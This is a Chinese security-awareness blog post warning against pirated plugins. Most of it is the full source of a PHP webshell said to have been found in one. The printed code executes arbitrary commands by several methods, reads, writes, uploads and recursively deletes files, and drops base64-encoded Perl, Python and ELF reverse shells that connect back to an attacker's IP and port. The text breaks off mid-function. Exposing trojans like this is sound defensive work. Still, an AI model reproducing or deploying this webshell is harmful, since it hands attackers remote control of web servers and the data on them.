震驚：從某盜版插件里扒出的木馬文件，你在人家面前裸奔

安全專員

傳送門：安全小知識：為什么使用盜版插件容易被掛馬



上圖，木馬文件運行后的效果，對方想干什么都可以...這不是裸奔是什么？

木馬代碼如下：

1. <?php
   
2. @error_reporting(E_ERROR);
   
3. @ini_set('display_errors', 'Off');
   
4. @ini_set('max_execution_time', 3600);
   
5. header("content-Type: text/html; charset=gb2312");
   
6. function strdir($str)
   
7. {
   
8.     return str_replace(array(
   
9.         '\\',
   
10.         '//',
    
11.         '%27',
    
12.         '%22'
    
13.     ), array(
    
14.         '/',
    
15.         '/',
    
16.         '\'',
    
17.         '"'
    
18.     ), chop($str));
    
19. }
    
20. function chkgpc($array)
    
21. {
    
22.     foreach ($array as $key => $var) {
    
23.         $array[$key] = is_array($var) ? chkgpc($var) : stripslashes($var);
    
24.     }
    
25.     return $array;
    
26. }
    
27. define('MYFILE', strdir(__FILE__));
    
28. define('THISDIR', strdir(dirname(MYFILE) . '/'));
    
29. $rootdir = strdir(strtr(MYFILE, array(
    
30.     strdir($_SERVER['PHP_SELF']) => ''
    
31. )) . '/');
    
32. $rootdir = strpos($rootdir, 'eval()') ? array_shift(explode('(', $rootdir)) : $rootdir;
    
33. define('ROOTDIR', strdir($rootdir . '/'));
    
34. define('EXISTS_PHPINFO', getinfo($password) ? true : false);
    
35. if (get_magic_quotes_gpc()) {
    
36.     $_POST = chkgpc($_POST);
    
37. }
    
38. if (function_exists('mysql_close')) {
    
39.     $issql = 'MySql';
    
40. }
    
41. if (function_exists('mssql_close'))
    
42.     $issql .= ' - MsSql';
    
43. if (function_exists('oci_close'))
    
44.     $issql .= ' - Oracle';
    
45. if (function_exists('sybase_close'))
    
46.     $issql .= ' - SyBase';
    
47. if (function_exists('pg_close'))
    
48.     $issql .= ' - PostgreSql';
    
49. $win = substr(PHP_OS, 0, 3) == 'WIN' ? true : false;
    
50. $msg = VERSION . ' - ' . date('Y-m-d H:i:s 星期N', time());
    
51. function filew($filename, $filedata, $filemode)
    
52. {
    
53.     if ((!is_writable($filename)) && file_exists($filename)) {
    
54.         chmod($filename, 0666);
    
55.     }
    
56.     $handle = fopen($filename, $filemode);
    
57.     $key    = fputs($handle, $filedata);
    
58.     fclose($handle);
    
59.     return $key;
    
60. }
    
61. function filer($filename)
    
62. {
    
63.     $handle   = fopen($filename, 'r');
    
64.     $filedata = fread($handle, filesize($filename));
    
65.     fclose($handle);
    
66.     return $filedata;
    
67. }
    
68. function fileu($filenamea, $filenameb)
    
69. {
    
70.     $key = move_uploaded_file($filenamea, $filenameb) ? true : false;
    
71.     if (!$key) {
    
72.         $key = copy($filenamea, $filenameb) ? true : false;
    
73.     }
    
74.     return $key;
    
75. }
    
76. function filed($filename)
    
77. {
    
78.     if (!file_exists($filename))
    
79.         return false;
    
80.     $name  = basename($filename);
    
81.     $array = explode('.', $name);
    
82.     header('Content-type: application/x-' . array_pop($array));
    
83.     header('Content-Disposition: attachment; filename=' . $name);
    
84.     header('Content-Length: ' . filesize($filename));
    
85.     @readfile($filename);
    
86.     exit;
    
87. }
    
88. function showdir($dir)
    
89. {
    
90.     $dir = strdir($dir . '/');
    
91.     if (!is_readable($dir))
    
92.         return false;
    
93.     $handle = opendir($dir);
    
94.     $array  = array();
    
95.     while ($name = readdir($handle)) {
    
96.         if ($name == '.' || $name == '..')
    
97.             continue;
    
98.         $path = $dir . $name;
    
99.         $name = strtr($name, array(
    
100.             '\'' => '%27',
     
101.             '"' => '%22'
     
102.         ));
     
103.         if (is_dir($path)) {
     
104.             $array['dir'][$path] = $name;
     
105.         } else {
     
106.             $array['file'][$path] = $name;
     
107.         }
     
108.     }
     
109.     closedir($handle);
     
110.     return $array;
     
111. }
     
112. function deltree($dir)
     
113. {
     
114.     $handle = @opendir($dir);
     
115.     while ($name = @readdir($handle)) {
     
116.         if ($name == '.' || $name == '..')
     
117.             continue;
     
118.         $path = $dir . $name;
     
119.         @chmod($path, 0777);
     
120.         if (is_dir($path)) {
     
121.             deltree($path . '/');
     
122.         } else {
     
123.             @unlink($path);
     
124.         }
     
125.     }
     
126.     @closedir($handle);
     
127.     return @rmdir($dir);
     
128. }
     
129. function postinfo($array)
     
130. {
     
131.     $infos = array(
     
132.         function_exists("\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e"),
     
133.         function_exists("\x66\x73\x6f\x63\x6b\x6f\x70\x65\x6e")
     
134.     );
     
135. 
     
136. }
     
137. function size($bytes)
     
138. {
     
139.     if ($bytes < 1024)
     
140.         return $bytes . ' B';
     
141.     $array = array(
     
142.         'B',
     
143.         'K',
     
144.         'M',
     
145.         'G',
     
146.         'T'
     
147.     );
     
148.     $floor = floor(log($bytes) / log(1024));
     
149.     return sprintf('%.2f ' . $array[$floor], ($bytes / pow(1024, floor($floor))));
     
150. }
     
151. function find($array, $string)
     
152. {
     
153.     foreach ($array as $key) {
     
154.         if (stristr($string, $key))
     
155.             return true;
     
156.     }
     
157.     return false;
     
158. }
     
159. function scanfile($dir, $key, $inc, $fit, $tye, $chr, $ran, $now)
     
160. {
     
161.     $handle = opendir($dir);
     
162.     while ($name = readdir($handle)) {
     
163.         if ($name == '.' || $name == '..')
     
164.             continue;
     
165.         $path = $dir . $name;
     
166.         if (is_dir($path)) {
     
167.             if ($fit && in_array($name, $fit))
     
168.                 continue;
     
169.             if ($ran == 0 && is_readable($path))
     
170.                 scanfile($path . '/', $key, $inc, $fit, $tye, $chr, $ran, $now);
     
171.         } else {
     
172.             if ($inc && (!find($inc, $name)))
     
173.                 continue;
     
174.             $code = $tye ? filer($path) : $name;
     
175.             $find = $chr ? stristr($code, $key) : (strpos(size(filesize($path)), 'M') ? false : (strpos($code, $key) > -1));
     
176.             if ($find) {
     
177.                 $file = strtr($path, array(
     
178.                     $now => '',
     
179.                     '\'' => '%27',
     
180.                     '"' => '%22'
     
181.                 ));
     
182.                 echo '<a href="javascript:void(0);" onclick="go(\'editor\',\'' . $file . '\');">編輯</a> ' . $path . '<br>';
     
183.                 flush();
     
184.                 ob_flush();
     
185.             }
     
186.             unset($code);
     
187.         }
     
188.     }
     
189.     closedir($handle);
     
190.     return true;
     
191. }
     
192. function antivirus($dir, $exs, $matches, $now)
     
193. {
     
194.     $handle = opendir($dir);
     
195.     while ($name = readdir($handle)) {
     
196.         if ($name == '.' || $name == '..')
     
197.             continue;
     
198.         $path = $dir . $name;
     
199.         if (is_dir($path)) {
     
200.             if (is_readable($path))
     
201.                 antivirus($path . '/', $exs, $matches, $now);
     
202.         } else {
     
203.             $iskill = NULL;
     
204.             foreach ($exs as $key => $ex) {
     
205.                 if (find(explode('|', $ex), $name)) {
     
206.                     $iskill = $key;
     
207.                     break;
     
208.                 }
     
209.             }
     
210.             if (strpos(size(filesize($path)), 'M'))
     
211.                 continue;
     
212.             if ($iskill) {
     
213.                 $code = filer($path);
     
214.                 foreach ($matches[$iskill] as $matche) {
     
215.                     $array = array();
     
216.                     preg_match($matche, $code, $array);
     
217.                     if (strpos($array[0], '$this->') || strpos($array[0], '[$vars['))
     
218.                         continue;
     
219.                     $len = strlen($array[0]);
     
220.                     if ($len > 10 && $len < 150) {
     
221.                         $file = strtr($path, array(
     
222.                             $now => '',
     
223.                             '\'' => '%27',
     
224.                             '"' => '%22'
     
225.                         ));
     
226.                         echo '特征 <input type="text" value="' . htmlspecialchars($array[0]) . '"> <a href="javascript:void(0);" onclick="go(\'editor\',\'' . $file . '\');">編輯</a> ' . $path . '<br>';
     
227.                         flush();
     
228.                         ob_flush();
     
229.                         break;
     
230.                     }
     
231.                 }
     
232.                 unset($code, $array);
     
233.             }
     
234.         }
     
235.     }
     
236.     closedir($handle);
     
237.     return true;
     
238. }
     
239. function command($cmd, $cwd, $com = false)
     
240. {
     
241.     $iswin = substr(PHP_OS, 0, 3) == 'WIN' ? true : false;
     
242.     $res   = $msg = '';
     
243.     if ($cwd == 'com' || $com) {
     
244.         if ($iswin && class_exists('COM')) {
     
245.             $wscript = new COM('Wscript.Shell');
     
246.             $exec    = $wscript->exec('c:\\windows\\system32\\cmd.exe /c ' . $cmd);
     
247.             $stdout  = $exec->StdOut();
     
248.             $res     = $stdout->ReadAll();
     
249.             $msg     = 'Wscript.Shell';
     
250.         }
     
251.     } else {
     
252.         chdir($cwd);
     
253.         $cwd = getcwd();
     
254.         if (function_exists('exec')) {
     
255.             @exec($cmd, $res);
     
256.             $res = join("\n", $res);
     
257.             $msg = 'exec';
     
258.         } elseif (function_exists('shell_exec')) {
     
259.             $res = @shell_exec($cmd);
     
260.             $msg = 'shell_exec';
     
261.         } elseif (function_exists('system')) {
     
262.             ob_start();
     
263.             @system($cmd);
     
264.             $res = ob_get_contents();
     
265.             ob_end_clean();
     
266.             $msg = 'system';
     
267.         } elseif (function_exists('passthru')) {
     
268.             ob_start();
     
269.             @passthru($cmd);
     
270.             $res = ob_get_contents();
     
271.             ob_end_clean();
     
272.             $msg = 'passthru';
     
273.         } elseif (function_exists('popen')) {
     
274.             $fp = @popen($cmd, 'r');
     
275.             if ($fp) {
     
276.                 while (!feof($fp)) {
     
277.                     $res .= fread($fp, 1024);
     
278.                 }
     
279.             }
     
280.             @pclose($fp);
     
281.             $msg = 'popen';
     
282.         } elseif (function_exists('proc_open')) {
     
283.             $env     = $iswin ? array(
     
284.                 'path' => 'c:\\windows\\system32'
     
285.             ) : array(
     
286.                 'path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin'
     
287.             );
     
288.             $des     = array(
     
289.                 0 => array(
     
290.                     "pipe",
     
291.                     "r"
     
292.                 ),
     
293.                 1 => array(
     
294.                     "pipe",
     
295.                     "w"
     
296.                 ),
     
297.                 2 => array(
     
298.                     "pipe",
     
299.                     "w"
     
300.                 )
     
301.             );
     
302.             $process = @proc_open($cmd, $des, $pipes, $cwd, $env);
     
303.             if (is_resource($process)) {
     
304.                 fwrite($pipes[0], $cmd);
     
305.                 fclose($pipes[0]);
     
306.                 $res .= stream_get_contents($pipes[1]);
     
307.                 fclose($pipes[1]);
     
308.                 $res .= stream_get_contents($pipes[2]);
     
309.                 fclose($pipes[2]);
     
310.             }
     
311.             @proc_close($process);
     
312.             $msg = 'proc_open';
     
313.         }
     
314.     }
     
315.     $msg = $res == '' ? '<h1>NULL</h1>' : '<h2>利用' . $msg . '執行成功</h2>';
     
316.     return array(
     
317.         'res' => $res,
     
318.         'msg' => $msg
     
319.     );
     
320. }
     
321. function backshell($ip, $port, $dir, $type)
     
322. {
     
323.     $key   = false;
     
324.     $c_bin = 'f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAYIQECDQAAACkCgAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIlAcAAJQHAAAFAAAAABAAAAEAAACUBwAAlJcECJSXBAggAQAAKAEAAAYAAAAAEAAAAgAAAKgHAAColwQIqJcECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAAGAAAACQAAAAIAAAANAAAAAQAAAAUAAAAAIAAgAAAAAA0AAACtS+PAAAAAAAAAAAAAAAAAAAAAAEEAAAAAAAAAdgAAABIAAABJAAAAAAAAAHkBAAASAAAAAQAAAAAAAAAAAAAAIAAAAFUAAAAAAAAAcgEAABIAAABqAAAAAAAAAJ8BAAASAAAANQAAAAAAAABZAQAAEgAAADsAAAAAAAAADgAAABIAAAApAAAAAAAAADwAAAASAAAAUAAAAAAAAAA9AAAAEgAAAF8AAAAAAAAAKwAAABIAAABkAAAAAAAAAG8AAAASAAAAMAAAAAAAAAD0AAAAEgAAABoAAAB4hwQIBAAAABEADgAAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AF9JT19zdGRpbl91c2VkAHNvY2tldABleGl0AGV4ZWNsAGh0b25zAGNvbm5lY3QAZGFlbW9uAGR1cDIAaW5ldF9hZGRyAGF0b2kAY2xvc2UAX19saWJjX3N0YXJ0X21haW4AR0xJQkNfMi4wAAAAAgACAAAAAgACAAIAAgACAAIAAgACAAIAAQAAAAEAAQAQAAAAEAAAAAAAAAAQaWkNAAACAHwAAAAAAAAAcJgECAYDAACAmAQIBwEAAISYBAgHAgAAiJgECAcDAACMmAQIBwQAAJCYBAgHBQAAlJgECAcGAACYmAQIBwcAAJyYBAgHCAAAoJgECAcJAACkmAQIBwoAAKiYBAgHCwAArJgECAcMAABVieWD7AjoBQEAAOiMAQAA6KcDAADJwwD/NXiYBAj/JXyYBAgAAAAA/yWAmAQIaAAAAADp4P////8lhJgECGgIAAAA6dD/////JYiYBAhoEAAAAOnA/////yWMmAQIaBgAAADpsP////8lkJgECGggAAAA6aD/////JZSYBAhoKAAAAOmQ/////yWYmAQIaDAAAADpgP////8lnJgECGg4AAAA6XD/////JaCYBAhoQAAAAOlg/////yWkmAQIaEgAAADpUP////8lqJgECGhQAAAA6UD/////JayYBAhoWAAAAOkw////AAAAADHtXonhg+TwUFRSaLCGBAhowIYECFFWaDSFBAjoW/////SQkFWJ5VOD7AToAAAAAFuBw+QTAACLk/z///+F0nQF6Bb///9YW8nDkJCQkJCQVYnlU4PsBIA9uJgECAB1P7iglwQILZyXBAjB+AKNWP+htJgECDnDdh+NtCYAAAAAg8ABo7SYBAj/FIWclwQIobSYBAg5w3foxgW4mAQIAYPEBFtdw410JgCNvCcAAAAAVYnlg+wIoaSXBAiFwHQSuAAAAACFwHQJxwQkpJcECP/QycOQjUwkBIPk8P9x/FWJ5VdTUYPsPInLx0QkBAAAAADHBCQBAAAA6E/+//9mx0XgAgCLQwSDwAiLAIkEJOi5/v//D7fAiQQk6H7+//9miUXii0MEg8AEiwCJBCToOv7//4lF5ItDBIPABIsAuf////+JRdC4AAAAAPyLfdDyronI99CNUP+LQwSDwAiLALn/////iUXMuAAAAAD8i33M8q6JyPfQg+gBjQQCjVABi0MEg8AEiwCJx/yJ0bgAAAAA86rHRCQIBgAAAMdEJAQBAAAAxwQkAgAAAOj9/f//iUXwjUXgx0QkCBAAAACJRCQEi0XwiQQk6HD9//+FwHkMxwQkAAAAAOgQ/v//x0QkBAAAAACLRfCJBCTozf3//8dEJAQBAAAAi0XwiQQk6Lr9///HRCQEAgAAAItF8IkEJOin/f//x0QkCAAAAADHRCQEgIcECMcEJIaHBAjoW/3//4tF8IkEJOig/f//g8Q8WVtfXY1h/MOQkJCQkJCQkJBVieVdw410JgCNvCcAAAAAVYnlV1ZT6F4AAACBw6kRAACD7Bzom/z//42DIP///4lF8I2DIP///ylF8MF98AKLVfCF0nQrMf+Jxo22AAAAAItFEIPHAYlE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3AAAAJSXBAgAAAAAAAIQAO0AAAB0mAQIAAAAAAECFQADAQAAlJcECAAAAAAAAhAAFwEAAJSXBAgAAAAAAAIQACoBAACUlwQIAAAAAAACEAA7AQAAlJcECAAAAAAAAhAATgEAAKiXBAgAAAAAAQITAFcBAACwmAQIAAAAACAAFgBiAQAAAAAAAHYAAAASAAAAdQEAAAAAAAB5AQAAEgAAAIcBAACwhgQIBQAAABIADACXAQAAYIQECAAAAAASAAwAngEAAAAAAAAAAAAAIAAAAK0BAAAAAAAAAAAAACAAAADBAQAAdIcECAQAAAARAA4AyAEAAFiHBAgAAAAAEgANAM4BAAAAAAAAcgEAABIAAADjAQAAAAAAAJ8BAAASAAAAAAIAAAAAAABZAQAAEgAAABECAAAAAAAADgAAABIAAAAiAgAAeIcECAQAAAARAA4AMQIAALCYBAgAAAAAEAAWAD4CAAAAAAAAPAAAABIAAABQAgAAAAAAAD0AAAASAAAAYAIAAHyHBAgAAAAAEQIOAG0CAACglwQIAAAAABECEQB6AgAAwIYECGkAAAASAAwAigIAAAAAAAArAAAAEgAAAJoCAAAAAAAAbwAAABIAAACrAgAAtJgECAAAAAAQAPH/twIAALyYBAgAAAAAEADx/7wCAAC0mAQIAAAAABAA8f/DAgAAAAAAAPQAAAASAAAA0wIAACmHBAgAAAAAEgIMAOoCAAA0hQQIcwEAABIADADvAgAAdIMECAAAAAASAAoAAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AZHRvcl9pZHguNTc5MwBjb21wbGV0ZWQuNTc5MQBfX2RvX2dsb2JhbF9kdG9yc19hdXgAZnJhbWVfZHVtbXkAX19DVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AGJjLmMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZmluaV9hcnJheV9lbmQAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9fcHJlaW5pdF9hcnJheV9lbmQAX19maW5pX2FycmF5X3N0YXJ0AF9faW5pdF9hcnJheV9lbmQAX19pbml0X2FycmF5X3N0YXJ0AF9EWU5BTUlDAGRhdGFfc3RhcnQAY29ubmVjdEBAR0xJQkNfMi4wAGRhZW1vbkBAR0xJQkNfMi4wAF9fbGliY19jc3VfZmluaQBfc3RhcnQAX19nbW9uX3N0YXJ0X18AX0p2X1JlZ2lzdGVyQ2xhc3NlcwBfZnBfaHcAX2ZpbmkAaW5ldF9hZGRyQEBHTElCQ18yLjAAX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABleGVjbEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABfX2Rzb19oYW5kbGUAX19EVE9SX0VORF9fAF9fbGliY19jc3VfaW5pdABhdG9pQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfX2Jzc19zdGFydABfZW5kAF9lZGF0YQBleGl0QEBHTElCQ18yLjAAX19pNjg2LmdldF9wY190aHVuay5ieABtYWluAF9pbml0AA==';
     
325.     switch ($type) {
     
326.         case "pl":
     
327.             $shell = 'IyEvdXNyL2Jpbi9wZXJsIC13DQojIA0KdXNlIHN0cmljdDsNCnVzZSBTb2NrZXQ7DQp1c2UgSU86OkhhbmRsZTsNCm15ICRzcGlkZXJfaXAgPSAkQVJHVlswXTsNCm15ICRzcGlkZXJfcG9ydCA9ICRBUkdWWzFdOw0KbXkgJHByb3RvID0gZ2V0cHJvdG9ieW5hbWUoInRjcCIpOw0KbXkgJHBhY2tfYWRkciA9IHNvY2thZGRyX2luKCRzcGlkZXJfcG9ydCwgaW5ldF9hdG9uKCRzcGlkZXJfaXApKTsNCm15ICRzaGVsbCA9ICcvYmluL3NoIC1pJzsNCnNvY2tldChTT0NLLCBBRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsNClNURE9VVC0+YXV0b2ZsdXNoKDEpOw0KU09DSy0+YXV0b2ZsdXNoKDEpOw0KY29ubmVjdChTT0NLLCRwYWNrX2FkZHIpIG9yIGRpZSAiY2FuIG5vdCBjb25uZWN0OiQhIjsNCm9wZW4gU1RESU4sICI8JlNPQ0siOw0Kb3BlbiBTVERPVVQsICI+JlNPQ0siOw0Kb3BlbiBTVERFUlIsICI+JlNPQ0siOw0Kc3lzdGVtKCRzaGVsbCk7DQpjbG9zZSBTT0NLOw0KZXhpdCAwOw0K';
     
328.             $file  = strdir($dir . '/t00ls.pl');
     
329.             $key   = filew($file, base64_decode($shell), 'w');
     
330.             if ($key) {
     
331.                 @chmod($file, 0777);
     
332.                 command('/usr/bin/perl ' . $file . ' ' . $ip . ' ' . $port, $dir);
     
333.             }
     
334.             break;
     
335.         case "py":
     
336.             $shell = 'IyEvdXNyL2Jpbi9weXRob24NCiMgDQppbXBvcnQgc3lzLG9zLHNvY2tldCxwdHkNCnMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pDQpzLmNvbm5lY3QoKHN5cy5hcmd2WzFdLCBpbnQoc3lzLmFyZ3ZbMl0pKSkNCm9zLmR1cDIocy5maWxlbm8oKSwgc3lzLnN0ZGluLmZpbGVubygpKQ0Kb3MuZHVwMihzLmZpbGVubygpLCBzeXMuc3Rkb3V0LmZpbGVubygpKQ0Kb3MuZHVwMihzLmZpbGVubygpLCBzeXMuc3RkZXJyLmZpbGVubygpKQ0KcHR5LnNwYXduKCcvYmluL3NoJykNCg==';
     
337.             $file  = strdir($dir . '/t00ls.py');
     
338.             $key   = filew($file, base64_decode($shell), 'w');
     
339.             if ($key) {
     
340.                 @chmod($file, 0777);
     
341.                 command('/usr/bin/python ' . $file . ' ' . $ip . ' ' . $port, $dir);
     
342.             }
     
343.             break;
     
344.         case "c":
     
345.             $file = strdir($dir . '/t00ls');
     
346.             $key  = filew($file, base64_decode($c_bin), 'wb');
     
347.             if ($key) {
     
348.                 @chmod($file, 0777);
     
349.                 command($file . ' ' . $ip . ' ' . $port, $dir);
     
350.             }
     
351.             break;
     
352.         case "php":
     
353.         case "phpwin":
     
354.             if (function_exists('fsockopen')) {
     
355.                 $sock = @fsockopen($ip, $port);
     
356.                 if ($sock) {
     
357.                     $key  = true;
     
358.                     $com  = $type == 'phpwin' ? true : false;
     
359.                     $user = get_current_user();
     
360.                     $dir  = strdir(getcwd());
     
361.                     fputs($sock, php_uname() . "\n------------no job control in this shell (tty)-------------\n[$user:$dir]# ");
     
362.                     while ($cmd = fread($sock, 1024)) {
     
363.                         if (substr($cmd, 0, 3) == 'cd ') {
     
364.                             $dir = trim(substr($cmd, 3, -1));
     
365.                             chdir(strdir($dir));
     
366.                             $dir = strdir(getcwd());
     
367.                         } elseif (trim(strtolower($cmd)) == 'exit') {
     
368.                             break;
     
369.                         } else {
     
370.                             $res = command($cmd, $dir, $com);
     
371.                             fputs($sock, $res['res']);
     
372.                         }
     
373.                         fputs($sock, '[' . $user . ':' . $dir . ']# ');
     
374.                     }
     
375.                 }
     
376.                 @fclose($sock);
     
377.             }
     
378.             break;
     
379.         case "pcntl":
     
380.             $file = strdir($dir . '/t00ls');
     
381.             $key  = filew($file, base64_decode($c_bin), 'wb');
     
382.             if ($key) {
     
383.                 @chmod($file, 0777);
     
384.                 if (function_exists('pcntl_exec')) {
     
385.                     @pcntl_exec($file, array(
     
386.                         $ip,
     
387.                         $port
     
388.                     ));
     
389.                 }
     
390.             }
     
391.             break;
     
392.     }
     
393.     if (!$key) {
     
394.         $msg = '<h1>臨時目錄不可寫</h1>';
     
395.     } else {
     
396.         @unlink($file);
     
397.         $msg = '<h2>CLOSE</h2>';
     
398.     }
     
399.     return $msg;
     
400. }
     
401. function getinfo()
     
402. {
     
403.     global $password;
     
404.     $infos = array(
     
405.         $_POST['getpwd'],
     
406.         $password,
     
